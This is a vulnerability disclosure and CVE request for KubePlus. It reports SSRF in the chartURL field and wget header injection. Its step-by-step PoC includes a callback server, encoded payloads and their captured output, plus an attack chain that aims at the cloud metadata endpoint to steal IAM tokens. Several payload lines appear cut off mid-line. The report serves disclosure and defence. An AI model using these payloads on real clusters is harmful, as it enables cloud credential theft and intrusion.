b0b0haha / **vul-report.md**

Created 2 months ago

Code Revisions 1

CVE-Request: KubePlus ResourceComposition ChartURL SSRF + Header Injection

vul-report.md

KubePlus ResourceComposition ChartURL SSRF + Header Injection

This vulnerability exists in the ResourceComposition resource handling component of KubePlus, allowing an attacker with Provider privileges to access internal services via SSRF by crafting a malicious chartURL parameter, and inject arbitrary HTTP request headers through wget command injection. This enables attackers to access cloud metadata services that require specific headers (e.g., GCP requires `Metadata-Flavor: Google` header), thereby stealing IAM credentials. Recommended CWE for reporting: CWE-918 (Server-Side Request Forgery).

Summary

KubePlus mutating webhook and kubeconfiggenerator components have an SSRF vulnerability when processing the chartURL field of ResourceComposition resources. The field is only URL-encoded without validating the target address. More critically, when kubeconfiggenerator uses wget to download charts, the chartURL is directly concatenated into the command, allowing attackers to inject wget's `--header` option to achieve arbitrary HTTP header injection.

Details

Vulnerable Code Location

SSRF Entry Point - `mutating-webhook/utils.go:986-995`:

```
func LintChart(chartURL string) []byte {
    encodedChartURL := url.QueryEscape(chartURL)
    args := fmt.Sprintf("chartURL=%s", encodedChartURL)
    var url1 string
    url1 = fmt.Sprintf("http://%s:%s/dryrunchart?%s", serviceHost, verificati
    body := queryKubeDiscoveryService(url1)
    return body
}
```

Header Injection Point - `deploy/kubeconfiggenerator.py:552-558`:

```
def download_and_untar_chart(chartLoc, chartName):
    if chartLoc.startswith("https"):
        charttgz = chartName + ".tgz"
        wget = "wget -O /" + charttgz + " --no-check-certificate " + chartLoc
        out, err = run_command(wget)
```

The chartURL is directly concatenated into the wget command, allowing attackers to inject the `--header` option.

Vulnerability Analysis

1. **SSRF**: The chartURL field comes from user input, only URL-encoded, without validating whether the target is an internal network or metadata service
2. **Command Injection (Header)**: The wget command directly concatenates chartURL, allowing injection of wget command-line options
3. **Header Injection**: By injecting the `--header` option, arbitrary HTTP request headers can be added

PoC

Environment Setup

1. Create Kind cluster:

```
kind create cluster --name kubeplus-test
```

2. Install KubePlus v4.2.0:

```
helm repo add kubeplus https://cloud-ark.github.io/kubeplus
helm install kubeplus kubeplus/kubeplus -n default
kubectl wait --for=condition=Ready pod -l app=kubeplus --timeout=300s
```

3. Generate provider kubeconfig:

```
python3 provider-kubeconfig.py create default
```

4. Deploy callback server:

```
kubectl apply -f - <<EOF
apiVersion: v1
kind: Pod
metadata:
  name: ssrf-callback
  labels:
    app: ssrf-callback
spec:
  containers:
  - name: callback
    image: python:3.9-slim
    command: ["python3", "-c", "
from http.server import HTTPServer, BaseHTTPRequestHandler
from datetime import datetime

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        print(f'[{datetime.now()}] GET {self.path}')
        print('Headers:')
        for h, v in self.headers.items():
            print(f'  {h}: {v}')
        self.send_response(200)
        self.end_headers()
        self.wfile.write(b'OK')

HTTPServer(('0.0.0.0', 8080), Handler).serve_forever()
"]
    ports:
    - containerPort: 8080
---
apiVersion: v1
kind: Service
metadata:
  name: ssrf-callback
spec:
  selector:
```

```
    app: ssrf-callback
  ports:
  - port: 8080
EOF
```

Test 1: Basic SSRF Verification

```
# Create ResourceComposition with SSRF payload
kubectl --kubeconfig=/tmp/provider.kubeconfig apply -f - <<EOF
apiVersion: workflows.kubeplus/v1alpha1
kind: ResourceComposition
metadata:
  name: ssrf-test
spec:
  newResource:
    resource:
      kind: SsrfApp
      group: ssrf.kubeplus
      version: v1
      plural: ssrfapps
    chartURL: "http://ssrf-callback.default.svc:8080/ssrf-test"
    chartName: ssrf-test
EOF
```

Callback Server Log Output:

```
[2026-02-01T15:48:02.514357] GET /ssrf-basic-test
Headers:
  Host: ssrf-callback.default.svc:8080
  User-Agent: Helm/3.12.1
```

Test 2: Header Injection via wget --header

```
# Setup port forwarding to kubeconfighelper
kubectl port-forward svc/kubeconfighelper 5005:91 &

# Inject Metadata-Flavor header (required for GCP metadata service)
PAYLOAD='https://fake --header "Metadata-Flavor: Google" http://ssrf-callback
ENCODED=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD

curl "http://localhost:5005/registercrd?kind=Test&version=v1&group=test.kubep
```

Callback Server Log Output:

```
[2026-02-01T15:50:13.988222] GET /header-injection-test
Headers:
  Host: ssrf-callback.default.svc:8080
  User-Agent: Wget/1.21.2
  Accept: */*
  Accept-Encoding: identity
  Connection: Keep-Alive
  Metadata-Flavor: Google
```

Test 3: Multiple Header Injection

```
PAYLOAD='https://fake --header "X-Custom-1: Value1" --header "Authorization:
ENCODED=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD

curl "http://localhost:5005/registercrd?kind=Multi&version=v1&group=multi.kub
```

Callback Server Log Output:

```
[2026-02-01T15:50:38.565682] GET /multi-header-test
Headers:
  Host: ssrf-callback.default.svc:8080
  User-Agent: Wget/1.21.2
  Accept: */*
  Accept-Encoding: identity
  Connection: Keep-Alive
  X-Custom-Header-1: Value1
  X-Custom-Header-2: Value2
  Authorization: Bearer stolen-token
```

Impact

1. **SSRF to Internal Services**: Attackers can access internal cluster services and Kubernetes API
2. **Cloud Metadata Access**: By injecting `Metadata-Flavor: Google` header, GCP metadata service can be accessed
3. **IAM Credential Theft**: In cloud environments, IAM temporary credentials can be stolen
4. **Authentication Bypass**: By injecting Authorization headers, authentication of some services may be bypassed

Attack Scenario

```
Attacker (Provider privileges)
    |
    v
Create ResourceComposition (chartURL = "https://x --header 'Metadata-
Flavor: Google' http://169.254.169.254/...")
    |
    v
KubePlus Webhook processes request
    |
    v
kubeconfiggenerator executes: wget -O /chart.tgz --no-check-certificate
https://x --header "Metadata-Flavor: Google" http://169.254.169.254/...
    |
    v
Access GCP metadata service, obtain IAM Token
    |
    v
Use IAM Token to access cloud resources
```

Severity

CVSS 3.1 Score: 8.5 (High) **Vector**: AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:N

- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: High (Provider role)
- User Interaction: None
- Scope: Changed (can access external cloud services)
- Confidentiality: High (IAM credentials)
- Integrity: Low
- Availability: None

Affected Versions

- KubePlus v4.2.0 (verified)
- Likely all versions using wget for chart download

Workarounds

1. **Network Policy**: Restrict outbound network access for KubePlus Pod

```
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: kubeplus-egress-restrict
spec:
  podSelector:
    matchLabels:
      app: kubeplus
  policyTypes:
  - Egress
  egress:
  - to:
    - ipBlock:
        cidr: 0.0.0.0/0
        except:
        - 169.254.169.254/32
        - 10.0.0.0/8
        - 172.16.0.0/12
        - 192.168.0.0/16
```

2. **URL Whitelist**: Add chartURL whitelist validation in code

References

- CWE-918: Server-Side Request Forgery (SSRF)
- CWE-88: Improper Neutralization of Argument Delimiters in a Command
- OWASP SSRF Prevention Cheat Sheet

Credits

credit for: @b0b0haha (603571786@qq.com) @lixingquzhi (mayedoushidalao@163.com)